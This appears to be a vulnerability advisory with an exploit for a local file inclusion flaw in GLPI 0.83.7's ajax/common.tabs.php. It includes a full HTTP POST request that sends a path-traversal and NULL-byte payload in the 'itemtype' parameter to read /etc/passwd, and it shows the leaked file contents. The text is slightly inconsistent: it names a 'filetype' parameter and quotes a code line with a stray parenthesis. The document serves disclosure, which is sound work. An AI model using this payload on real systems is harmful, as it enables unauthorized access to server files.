GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit Vendor: INDEPNET Development Team Product web page: http://www.glpi-project.org Affected version: 0.83.7 Summary: GLPI, an initialism for Gestionnaire libre de parc informatique (Free Management of Computer Equipment), was designed by Indepnet Association (a non profit organisation) in 2003. GLPI is a free asset and IT management software package, it also offers functionalities like servicedesk ITIL or license tracking and software auditing. Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input passed thru the 'filetype' parameter to 'common.tabs.php' script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. ======================================================================== /ajax/common.tabs.php: ---------------------- 46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) { 47: exit(); 62: $item = new $_REQUEST['itemtype'])(); ======================================================================== Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7 Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3 Vulnerabilities discovered by Humberto Cabrera @dniz0r Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2013-5145 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php 09.05.2013 --- POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://localhost/glpi/front/user.form.php?id=2 Content-Length: 75 Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2 --- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync .. ..
